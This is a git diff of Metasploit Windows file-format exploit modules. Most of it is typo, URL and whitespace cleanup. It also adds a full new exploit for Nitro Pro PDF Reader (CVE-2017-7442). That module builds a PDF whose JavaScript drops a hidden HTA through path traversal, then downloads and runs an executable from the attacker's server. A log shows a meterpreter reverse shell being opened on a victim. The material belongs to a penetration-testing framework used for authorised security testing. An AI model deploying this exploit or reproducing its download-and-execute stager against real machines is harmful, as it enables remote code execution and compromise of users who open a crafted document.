@@ -96,5 +96,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     file_create(sami)
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/ms09_067_excel_featheader.rb b/modules/exploits/windows/fileformat/ms09_067_excel_featheader.rb
index fa9e182b9c..e5c0dbbf67 100644
--- a/modules/exploits/windows/fileformat/ms09_067_excel_featheader.rb
+++ b/modules/exploits/windows/fileformat/ms09_067_excel_featheader.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -22,7 +22,7 @@ class MetasploitModule < Msf::Exploit::Remote
           structure from the file to calculate a pointer offset without doing proper
           validation. Attacker supplied data is then used to calculate the location of an
           object, and in turn a virtual function call. This results in arbitrary code
-          exection.
+          execution.
 
           NOTE: On some versions of Office, the user will need to dismiss a warning dialog
           prior to the payload executing.
@@ -161,5 +161,4 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Generated output file #{out}")
 
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/ms10_004_textbytesatom.rb b/modules/exploits/windows/fileformat/ms10_004_textbytesatom.rb
index fa01d9294c..ddc5a9e93d 100644
--- a/modules/exploits/windows/fileformat/ms10_004_textbytesatom.rb
+++ b/modules/exploits/windows/fileformat/ms10_004_textbytesatom.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -258,5 +258,4 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Generated output file #{out}")
 
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/ms10_038_excel_obj_bof.rb b/modules/exploits/windows/fileformat/ms10_038_excel_obj_bof.rb
index 0cd62b6734..d26da87e6a 100644
--- a/modules/exploits/windows/fileformat/ms10_038_excel_obj_bof.rb
+++ b/modules/exploits/windows/fileformat/ms10_038_excel_obj_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Description'    => %q{
           This module exploits a vulnerability found in Excel 2002 of Microsoft Office XP.
         By supplying a .xls file with a malformed OBJ (recType 0x5D) record an attacker
-        can get the control of the excution flow. This results aribrary code execution under
+        can get the control of the execution flow. This results in arbitrary code execution under
         the context of the user.
       },
       'License'        => MSF_LICENSE,
@@ -30,7 +30,7 @@ class MetasploitModule < Msf::Exploit::Remote
           ['OSVDB', '65236'],
           ['BID', '40520'],
           ['MSB', 'MS10-038'],
-          ['URL', 'http://www.exploit-db.com/moaub-24-microsoft-excel-obj-record-stack-overflow/']
+          ['URL', 'https://www.exploit-db.com/moaub-24-microsoft-excel-obj-record-stack-overflow/']
         ],
       'Payload'        =>
         {
@@ -96,7 +96,6 @@ class MetasploitModule < Msf::Exploit::Remote
     file_create(buf)
 
   end
-
 end
 
 =begin
diff --git a/modules/exploits/windows/fileformat/ms10_087_rtf_pfragments_bof.rb b/modules/exploits/windows/fileformat/ms10_087_rtf_pfragments_bof.rb
index 6f07cb2810..fe8905196e 100644
--- a/modules/exploits/windows/fileformat/ms10_087_rtf_pfragments_bof.rb
+++ b/modules/exploits/windows/fileformat/ms10_087_rtf_pfragments_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb b/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb
index 2b582b238d..4f3f4539b8 100644
--- a/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb
+++ b/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -310,5 +310,4 @@ class MetasploitModule < Msf::Exploit::Remote
     fail_with(Failure::BadConfig, "Unable to locate key: \"#{key}\"") if not rvas[key]
     rvas['BaseAddress'] + rvas[key]
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/ms11_021_xlb_bof.rb b/modules/exploits/windows/fileformat/ms11_021_xlb_bof.rb
index fc17c0d0f4..00b0a02650 100644
--- a/modules/exploits/windows/fileformat/ms11_021_xlb_bof.rb
+++ b/modules/exploits/windows/fileformat/ms11_021_xlb_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -15,8 +15,8 @@ class MetasploitModule < Msf::Exploit::Remote
           This module exploits a vulnerability found in Excel of Microsoft Office 2007.
         By supplying a malformed .xlb file, an attacker can control the content (source)
         of a memcpy routine, and the number of bytes to copy, therefore causing a stack-
-        based buffer overflow.  This results aribrary code execution under the context of
-        user the user.
+        based buffer overflow.  This results in arbitrary code execution under the context of
+        the user.
       },
       'License'        => MSF_LICENSE,
       'Author'         =>
diff --git a/modules/exploits/windows/fileformat/ms12_005.rb b/modules/exploits/windows/fileformat/ms12_005.rb
index bcb0dd9c5d..d35d7ad9b0 100644
--- a/modules/exploits/windows/fileformat/ms12_005.rb
+++ b/modules/exploits/windows/fileformat/ms12_005.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/fileformat/ms12_027_mscomctl_bof.rb b/modules/exploits/windows/fileformat/ms12_027_mscomctl_bof.rb
index 74cfeab1d4..5f755bca3f 100644
--- a/modules/exploits/windows/fileformat/ms12_027_mscomctl_bof.rb
+++ b/modules/exploits/windows/fileformat/ms12_027_mscomctl_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -297,5 +297,4 @@ class MetasploitModule < Msf::Exploit::Remote
     file_create(content)
 
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/ms13_071_theme.rb b/modules/exploits/windows/fileformat/ms13_071_theme.rb
index 7c0264caf1..85c441d92d 100644
--- a/modules/exploits/windows/fileformat/ms13_071_theme.rb
+++ b/modules/exploits/windows/fileformat/ms13_071_theme.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -110,5 +110,4 @@ MTSM=DABJDKT
     EOF
     file_create(theme)
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/ms14_017_rtf.rb b/modules/exploits/windows/fileformat/ms14_017_rtf.rb
index c632e10311..d6ec6c0162 100644
--- a/modules/exploits/windows/fileformat/ms14_017_rtf.rb
+++ b/modules/exploits/windows/fileformat/ms14_017_rtf.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/fileformat/ms14_060_sandworm.rb b/modules/exploits/windows/fileformat/ms14_060_sandworm.rb
index c484410037..0af87cfd99 100644
--- a/modules/exploits/windows/fileformat/ms14_060_sandworm.rb
+++ b/modules/exploits/windows/fileformat/ms14_060_sandworm.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -233,6 +233,5 @@ EOF
 
     inf
   end
-
 end
 
diff --git a/modules/exploits/windows/fileformat/ms14_064_packager_python.rb b/modules/exploits/windows/fileformat/ms14_064_packager_python.rb
index 07f20fd0a8..94eaef92ee 100644
--- a/modules/exploits/windows/fileformat/ms14_064_packager_python.rb
+++ b/modules/exploits/windows/fileformat/ms14_064_packager_python.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -147,6 +147,5 @@ class MetasploitModule < Msf::Exploit::Remote
 
     ole_contents
   end
-
 end
 
diff --git a/modules/exploits/windows/fileformat/ms14_064_packager_run_as_admin.rb b/modules/exploits/windows/fileformat/ms14_064_packager_run_as_admin.rb
index 0c4e4065e2..72121c5d50 100644
--- a/modules/exploits/windows/fileformat/ms14_064_packager_run_as_admin.rb
+++ b/modules/exploits/windows/fileformat/ms14_064_packager_run_as_admin.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/fileformat/ms15_020_shortcut_icon_dllloader.rb b/modules/exploits/windows/fileformat/ms15_020_shortcut_icon_dllloader.rb
index cf2f27eb5d..00c28eb2ca 100644
--- a/modules/exploits/windows/fileformat/ms15_020_shortcut_icon_dllloader.rb
+++ b/modules/exploits/windows/fileformat/ms15_020_shortcut_icon_dllloader.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/fileformat/ms15_100_mcl_exe.rb b/modules/exploits/windows/fileformat/ms15_100_mcl_exe.rb
index badffe24be..d471c0f2ee 100644
--- a/modules/exploits/windows/fileformat/ms15_100_mcl_exe.rb
+++ b/modules/exploits/windows/fileformat/ms15_100_mcl_exe.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -66,5 +66,4 @@ class MetasploitModule < Msf::Exploit::Remote
     mcl = generate_mcl
     file_create(mcl)
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/ms_visual_basic_vbp.rb b/modules/exploits/windows/fileformat/ms_visual_basic_vbp.rb
index d2a3941ea6..4d8220ad71 100644
--- a/modules/exploits/windows/fileformat/ms_visual_basic_vbp.rb
+++ b/modules/exploits/windows/fileformat/ms_visual_basic_vbp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -12,7 +12,7 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'           => 'Microsoft Visual Basic VBP Buffer Overflow',
       'Description'    => %q{
-          This module exploits a stack oveflow in Microsoft Visual
+          This module exploits a stack overflow in Microsoft Visual
         Basic 6.0. When a specially crafted vbp file containing a long
         reference line, an attacker may be able to execute arbitrary
         code.
@@ -96,5 +96,4 @@ class MetasploitModule < Msf::Exploit::Remote
     file_create(vbp)
 
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/mswin_tiff_overflow.rb b/modules/exploits/windows/fileformat/mswin_tiff_overflow.rb
index 5a4e76d11a..5b77143ba6 100644
--- a/modules/exploits/windows/fileformat/mswin_tiff_overflow.rb
+++ b/modules/exploits/windows/fileformat/mswin_tiff_overflow.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -41,8 +41,8 @@ class MetasploitModule < Msf::Exploit::Remote
           The flaw is due to a DWORD value extracted from the TIFF file that is embedded as a
           drawing in Microsoft Office, and how it gets calculated with user-controlled inputs,
           and stored in the EAX register. The 32-bit register will run out of storage space to
-          represent the large vlaue, which ends up being 0, but it still gets pushed as a
-          dwBytes argumenet (size) for a HeapAlloc call. The HeapAlloc function will allocate a
+          represent the large value, which ends up being 0, but it still gets pushed as a
+          dwBytes argument (size) for a HeapAlloc call. The HeapAlloc function will allocate a
           chunk anyway with size 0, and the address of this chunk is used as the destination buffer
           of a memcpy function, where the source buffer is the EXIF data (an extended image format
           supported by TIFF), and is also user-controlled. A function pointer in the chunk returned
@@ -872,7 +872,6 @@ class MetasploitModule < Msf::Exploit::Remote
     docx = make_docx(path)
     file_create(docx)
   end
-
 end
 
 =begin
@@ -884,7 +883,7 @@ cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010286
 OGL!GdipCreatePath+0x58:
 44023a2a ff5050          call    dword ptr [eax+50h]  ds:0023:41424344=????????
 0:000> k
-ChildEBP RetAddr  
+ChildEBP RetAddr
 WARNING: Stack unwind information not available. Following frames may be wrong.
 0011fd98 437a9681 OGL!GdipCreatePath+0x58
 0011fdc8 437b11b0 gfx+0x9681
@@ -908,6 +907,6 @@ WARNING: Stack unwind information not available. Following frames may be wrong.
 00120afc 3175400b wwlib!GetAllocCounters+0x6dc9d
 
   To-do:
-  Turn the docx packaging into a mixin. Good luck with that. 
-  
+  Turn the docx packaging into a mixin. Good luck with that.
+
 =end
diff --git a/modules/exploits/windows/fileformat/msworks_wkspictureinterface.rb b/modules/exploits/windows/fileformat/msworks_wkspictureinterface.rb
index 26e4240ca8..ecea681a46 100644
--- a/modules/exploits/windows/fileformat/msworks_wkspictureinterface.rb
+++ b/modules/exploits/windows/fileformat/msworks_wkspictureinterface.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -93,5 +93,4 @@ for (#{var_i} = 0; #{var_i} < 1000; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} +
 
     file_create(content)
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/mymp3player_m3u.rb b/modules/exploits/windows/fileformat/mymp3player_m3u.rb
index df69d59f50..db7646bc92 100644
--- a/modules/exploits/windows/fileformat/mymp3player_m3u.rb
+++ b/modules/exploits/windows/fileformat/mymp3player_m3u.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -100,5 +100,4 @@ EOF
     file_create(m3u)
 
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/netop.rb b/modules/exploits/windows/fileformat/netop.rb
index 38437badf3..092c50b014 100644
--- a/modules/exploits/windows/fileformat/netop.rb
+++ b/modules/exploits/windows/fileformat/netop.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -67,5 +67,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     file_create(buffer)
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/nitro_reader_jsapi.rb b/modules/exploits/windows/fileformat/nitro_reader_jsapi.rb
new file mode 100644
index 0000000000..ce0cd38c34
--- /dev/null
+++ b/modules/exploits/windows/fileformat/nitro_reader_jsapi.rb
@@ -0,0 +1,219 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpServer::HTML
+  include Msf::Exploit::FileDropper
+  include Msf::Exploit::FILEFORMAT
+  include Msf::Exploit::EXE
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => 'Nitro Pro PDF Reader 11.0.3.173 Javascript API Remote Code Execution',
+      'Description'    => %q{
+          This module exploits an unsafe Javascript API implemented in Nitro and Nitro Pro
+          PDF Reader version 11. The saveAs() Javascript API function allows for writing
+          arbitrary files to the file system. Additionally, the launchURL() function allows
+          an attacker to execute local files on the file system and bypass the security dialog
+
+          Note: This is 100% reliable.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+      [
+        'mr_me <steven[at]srcincite.io>',         # vulnerability discovery and exploit
+        'Brendan Coles <bcoles [at] gmail.com>',  # hidden hta tricks!
+        'sinn3r'                                  # help with msf foo!
+      ],
+      'References'     =>
+        [
+          [ 'CVE', '2017-7442' ],
+          [ 'URL', 'http://srcincite.io/advisories/src-2017-0005/' ],           # public advisory #1
+          [ 'URL', 'https://blogs.securiteam.com/index.php/archives/3251' ],    # public advisory #2 (verified and acquired by SSD)
+        ],
+      'DefaultOptions' =>
+        {
+          'DisablePayloadHandler' => false
+        },
+      'Platform'       => 'win',
+      'Targets'        =>
+        [
+          # truly universal
+          [ 'Automatic', { } ],
+        ],
+      'DisclosureDate' => 'Jul 24 2017',
+      'DefaultTarget'  => 0))
+
+      register_options([
+        OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),
+        OptString.new('URIPATH', [ true, "The URI to use.", "/" ]),
+      ])
+      deregister_options('SSL', 'SSLVersion', 'SSLCert')
+  end
+
+  def build_vbs(url, stager_name)
+    name_xmlhttp  = rand_text_alpha(2)
+    name_adodb    = rand_text_alpha(2)
+    vbs           = %Q|<head><hta:application
+    applicationname="#{@payload_name}"
+    border="none"
+    borderstyle="normal"
+    caption="false"
+    contextmenu="false"
+    icon="%SystemRoot%/Installer/{7E1360F1-8915-419A-B939-900B26F057F0}/Professional.ico"
+    maximizebutton="false"
+    minimizebutton="false"
+    navigable="false"
+    scroll="false"
+    selection="false"
+    showintaskbar="No"
+    sysmenu="false"
+    version="1.0"
+    windowstate="Minimize"></head>
+    <style>* { visibility: hidden; }</style>
+    <script language="VBScript">
+    window.resizeTo 1,1
+    window.moveTo -2000,-2000
+    </script>
+    <script type="text/javascript">setTimeout("window.close()", 5000);</script>
+    <script language="VBScript">
+    On Error Resume Next
+    Set #{name_xmlhttp} = CreateObject("Microsoft.XMLHTTP")
+    #{name_xmlhttp}.open "GET","http://#{url}",False
+    #{name_xmlhttp}.send
+    Set #{name_adodb} = CreateObject("ADODB.Stream")
+    #{name_adodb}.Open
+    #{name_adodb}.Type=1
+    #{name_adodb}.Write #{name_xmlhttp}.responseBody
+    #{name_adodb}.SaveToFile "C:#{@temp_folder}/#{@payload_name}.exe",2
+    set shellobj = CreateObject("wscript.shell")
+    shellobj.Run "C:#{@temp_folder}/#{@payload_name}.exe",0
+    </script>|
+    vbs.gsub!(/    /,'')
+    return vbs
+  end
+
+  def on_request_uri(cli, request)
+    if request.uri =~ /\.exe/
+      print_status("Sending second stage payload")
+      return if ((p=regenerate_payload(cli)) == nil)
+      data = generate_payload_exe( {:code=>p.encoded} )
+      send_response(cli, data, {'Content-Type' => 'application/octet-stream'} )
+      return
+    end
+  end
+
+  def exploit
+    # In order to save binary data to the file system the payload is written to a .vbs
+    # file and execute it from there.
+    @payload_name = rand_text_alpha(4)
+    @temp_folder  = "/Windows/Temp"
+    register_file_for_cleanup("C:#{@temp_folder}/#{@payload_name}.hta")
+    if datastore['SRVHOST'] == '0.0.0.0'
+      lhost = Rex::Socket.source_address('50.50.50.50')
+    else
+      lhost = datastore['SRVHOST']
+    end
+    payload_src  = lhost
+    payload_src << ":#{datastore['SRVPORT']}#{datastore['URIPATH']}#{@payload_name}.exe"
+    stager_name = rand_text_alpha(6) + ".vbs"
+    pdf = %Q|%PDF-1.7
+    4 0 obj
+    <<
+    /Length 0
+    >>
+    stream
+    |
+    pdf << build_vbs(payload_src, stager_name)
+    pdf << %Q|
+    endstream endobj
+    5 0 obj
+    <<
+    /Type /Page
+    /Parent 2 0 R
+    /Contents 4 0 R
+    >>
+    endobj
+    1 0 obj
+    <<
+    /Type /Catalog
+    /Pages 2 0 R
+    /OpenAction [ 5 0 R /Fit ]
+      /Names <<
+        /JavaScript <<
+          /Names [ (EmbeddedJS)
+            <<
+              /S /JavaScript
+              /JS (
+                    this.saveAs('../../../../../../../../../../../../../../../..#{@temp_folder}/#{@payload_name}.hta');
+                    app.launchURL('c$:/../../../../../../../../../../../../../../../..#{@temp_folder}/#{@payload_name}.hta');
+              )
+            >>
+          ]
+        >>
+      >>
+    >>
+    endobj
+    2 0 obj
+    <</Type/Pages/Count 1/Kids [ 5 0 R ]>>
+    endobj
+    3 0 obj
+    <<>>
+    endobj
+    xref
+    0 6
+    0000000000 65535 f
+    0000000166 00000 n
+    0000000244 00000 n
+    0000000305 00000 n
+    0000000009 00000 n
+    0000000058 00000 n
+    trailer <<
+    /Size 6
+    /Root 1 0 R
+    >>
+    startxref
+    327
+    %%EOF|
+    pdf.gsub!(/    /,'')
+    file_create(pdf)
+    super
+  end
+end
+
+=begin
+saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/nitro.rc
+[*] Processing scripts/nitro.rc for ERB directives.
+resource (scripts/nitro.rc)> use exploit/windows/fileformat/nitro_reader_jsapi
+resource (scripts/nitro.rc)> set payload windows/meterpreter/reverse_tcp
+payload => windows/meterpreter/reverse_tcp
+resource (scripts/nitro.rc)> set LHOST 172.16.175.1
+LHOST => 172.16.175.1
+resource (scripts/nitro.rc)> exploit
+[*] Exploit running as background job.
+
+[*] Started reverse TCP handler on 172.16.175.1:4444 
+msf exploit(nitro_reader_jsapi) > [+] msf.pdf stored at /Users/mr_me/.msf4/local/msf.pdf
+[*] Using URL: http://0.0.0.0:8080/
+[*] Local IP: http://192.168.100.4:8080/
+[*] Server started.
+[*] 192.168.100.4    nitro_reader_jsapi - Sending second stage payload
+[*] Sending stage (957487 bytes) to 172.16.175.232
+[*] Meterpreter session 1 opened (172.16.175.1:4444 -> 172.16.175.232:49180) at 2017-04-05 14:01:33 -0500
+[+] Deleted C:/Windows/Temp/UOIr.hta
+
+msf exploit(nitro_reader_jsapi) > sessions -i 1
+[*] Starting interaction with 1...
+
+meterpreter > shell
+Process 2412 created.
+Channel 2 created.
+Microsoft Windows [Version 6.1.7601]
+Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
+
+C:\Users\researcher\Desktop>
+=end
diff --git a/modules/exploits/windows/fileformat/nuance_pdf_launch_overflow.rb b/modules/exploits/windows/fileformat/nuance_pdf_launch_overflow.rb
index 4fbd80cf41..a5c719878a 100644
--- a/modules/exploits/windows/fileformat/nuance_pdf_launch_overflow.rb
+++ b/modules/exploits/windows/fileformat/nuance_pdf_launch_overflow.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -104,5 +104,4 @@ class MetasploitModule < Msf::Exploit::Remote
     file_create(makepdf)
 
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/office_ole_multiple_dll_hijack.rb b/modules/exploits/windows/fileformat/office_ole_multiple_dll_hijack.rb
index 1a3623bab6..4945361509 100644
--- a/modules/exploits/windows/fileformat/office_ole_multiple_dll_hijack.rb
+++ b/modules/exploits/windows/fileformat/office_ole_multiple_dll_hijack.rb
@@ -1,3 +1,8 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
 require 'zip'
 require 'base64'
 require 'rex/ole'
@@ -275,5 +280,4 @@ class MetasploitModule < Msf::Exploit::Remote
     ppsx.add_file('/ppt/embeddings/oleObject1.bin', create_ole(clsid))
     ppsx.pack
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/office_word_hta.rb b/modules/exploits/windows/fileformat/office_word_hta.rb
index 0e732279e3..e07441a8e4 100644
--- a/modules/exploits/windows/fileformat/office_word_hta.rb
+++ b/modules/exploits/windows/fileformat/office_word_hta.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
@@ -144,9 +143,6 @@ class MetasploitModule < Msf::Exploit::Remote
       { :arch => ARCH_X86, :platform => 'win' }
     )
 
-    # This allows the HTA window to be invisible
-    data.sub!(/\n/, "\nwindow.moveTo -4000, -4000\n")
-
     send_response(cli, data, 'Content-Type' => 'application/hta')
   end
 
diff --git a/modules/exploits/windows/fileformat/openoffice_ole.rb b/modules/exploits/windows/fileformat/openoffice_ole.rb
index 813764d7f3..c8786da2c3 100644
--- a/modules/exploits/windows/fileformat/openoffice_ole.rb
+++ b/modules/exploits/windows/fileformat/openoffice_ole.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -79,6 +79,5 @@ class MetasploitModule < Msf::Exploit::Remote
     file_create(template)
 
   end
-
 end
 
diff --git a/modules/exploits/windows/fileformat/orbit_download_failed_bof.rb b/modules/exploits/windows/fileformat/orbit_download_failed_bof.rb
index bbb67334a3..2470394aa7 100644
--- a/modules/exploits/windows/fileformat/orbit_download_failed_bof.rb
+++ b/modules/exploits/windows/fileformat/orbit_download_failed_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,8 +13,8 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => 'Orbit Downloader URL Unicode Conversion Overflow',
       'Description'    => %q{
           This module exploits a stack-based buffer overflow in Orbit Downloader.
-        The vulnerability is due to Orbit converting an URL ascii string to unicode
-        in a insecure way with MultiByteToWideChar.
+        The vulnerability is due to Orbit converting a URL ascii string to unicode
+        in an insecure way with MultiByteToWideChar.
         The vulnerability is exploited with a specially crafted metalink file that
         should be opened with Orbit through the "File->Add Metalink..." option.
       },
@@ -116,5 +116,4 @@ class MetasploitModule < Msf::Exploit::Remote
     file_create(metalink)
 
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/orbital_viewer_orb.rb b/modules/exploits/windows/fileformat/orbital_viewer_orb.rb
index cdc94b0aa6..7e4ee41305 100644
--- a/modules/exploits/windows/fileformat/orbital_viewer_orb.rb
+++ b/modules/exploits/windows/fileformat/orbital_viewer_orb.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -87,5 +87,4 @@ class MetasploitModule < Msf::Exploit::Remote
     file_create(sploit)
 
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/ovf_format_string.rb b/modules/exploits/windows/fileformat/ovf_format_string.rb
index e12c5f4730..20df40cdf4 100644
--- a/modules/exploits/windows/fileformat/ovf_format_string.rb
+++ b/modules/exploits/windows/fileformat/ovf_format_string.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/fileformat/proshow_cellimage_bof.rb b/modules/exploits/windows/fileformat/proshow_cellimage_bof.rb
index 72363df32b..e58e8d643a 100644
--- a/modules/exploits/windows/fileformat/proshow_cellimage_bof.rb
+++ b/modules/exploits/windows/fileformat/proshow_cellimage_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -73,5 +73,4 @@ class MetasploitModule < Msf::Exploit::Remote
     file_create(content)
 
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/proshow_load_bof.rb b/modules/exploits/windows/fileformat/proshow_load_bof.rb
index c9ba4e327a..c1aa0d966b 100644
--- a/modules/exploits/windows/fileformat/proshow_load_bof.rb
+++ b/modules/exploits/windows/fileformat/proshow_load_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -97,5 +97,4 @@ class MetasploitModule < Msf::Exploit::Remote
     file_create(sploit)
 
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/publishit_pui.rb b/modules/exploits/windows/fileformat/publishit_pui.rb
index deec5044fc..253ed6ebf0 100644
--- a/modules/exploits/windows/fileformat/publishit_pui.rb
+++ b/modules/exploits/windows/fileformat/publishit_pui.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/fileformat/real_networks_netzip_bof.rb b/modules/exploits/windows/fileformat/real_networks_netzip_bof.rb
index 5dae7bd3dd..96ed7944b2 100644
--- a/modules/exploits/windows/fileformat/real_networks_netzip_bof.rb
+++ b/modules/exploits/windows/fileformat/real_networks_netzip_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -107,5 +107,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     file_create(zip.pack)
